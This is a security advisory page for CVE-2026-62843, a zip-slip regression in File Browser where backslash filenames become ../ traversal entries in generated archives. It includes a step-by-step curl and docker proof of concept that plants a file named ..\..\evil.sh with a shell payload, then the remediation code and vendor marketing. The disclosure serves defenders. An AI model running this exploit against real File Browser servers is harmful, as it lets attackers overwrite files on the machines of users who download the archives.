Summary
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.
A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.
Details
1. The archive builder rewrites backslashes into path separators (http/raw.go:133)
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // line 127, host separator only
// ... comment explaining the intent to strip Windows separators ...
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // line 133, creates traversal
filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.
2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive, // no path.Clean, no ".." rejection
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})
The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.
3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)
A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.
4. Every archive format shares the sink
NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.
PoC
Tested against filebrowser/filebrowser:v2.63.15.
Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:
#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090
#2. Log in (admin here, but any account with Create permission works)
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
#3. Create the folder ziptest/
curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null
#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)
curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \
--data-binary $'#!/bin/sh\necho PWNED' -o /dev/null
#5. Download the folder as a zip and as a targz
curl -s "$B/api/raw/ziptest?algo=zip" -H "X-Auth: $T" -o out.zip
curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz
#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh
python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())"
python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"
Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true -> 200 (stored on disk as the single file ..\..\evil.sh)
GET /api/raw/ziptest?algo=zip -> 200 (zip bytes)
GET /api/raw/ziptest?algo=targz -> 200 (gzip bytes)
The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:
ZIP: ['../../evil.sh']
TAR: ['../../evil.sh']
Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.
Impact
- Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.
- Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.
- Regression that widened the blast radius: before this rewrite,
..\..\evil.shonly traversed on Windows extractors; afterwards the entry is../../evil.shand traverses on Linux and macOS extractors as well. - Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-62843 has a CVSS score of 6.8 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.63.17); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:
// http/raw.go, getFiles, replace the backslash->slash rewrite:
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "_") // neutralize, do not separate
// And reject any residual traversal before adding the entry:
clean := path.Clean("/" + nameInArchive)
if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive {
return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive)
}
Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.
Frequently Asked Questions
- What is CVE-2026-62843? CVE-2026-62843 is a medium-severity path traversal vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions >= 2.63.6, <= 2.63.16. It is fixed in 2.63.17. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-62843? CVE-2026-62843 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-62843? github.com/filebrowser/filebrowser/v2 (go) versions >= 2.63.6, <= 2.63.16 is affected.
- Is there a fix for CVE-2026-62843? Yes. CVE-2026-62843 is fixed in 2.63.17. Upgrade to this version or later.
- Is CVE-2026-62843 exploitable, and should I be worried? Whether CVE-2026-62843 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-62843 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-62843? Upgrade
github.com/filebrowser/filebrowser/v2to 2.63.17 or later.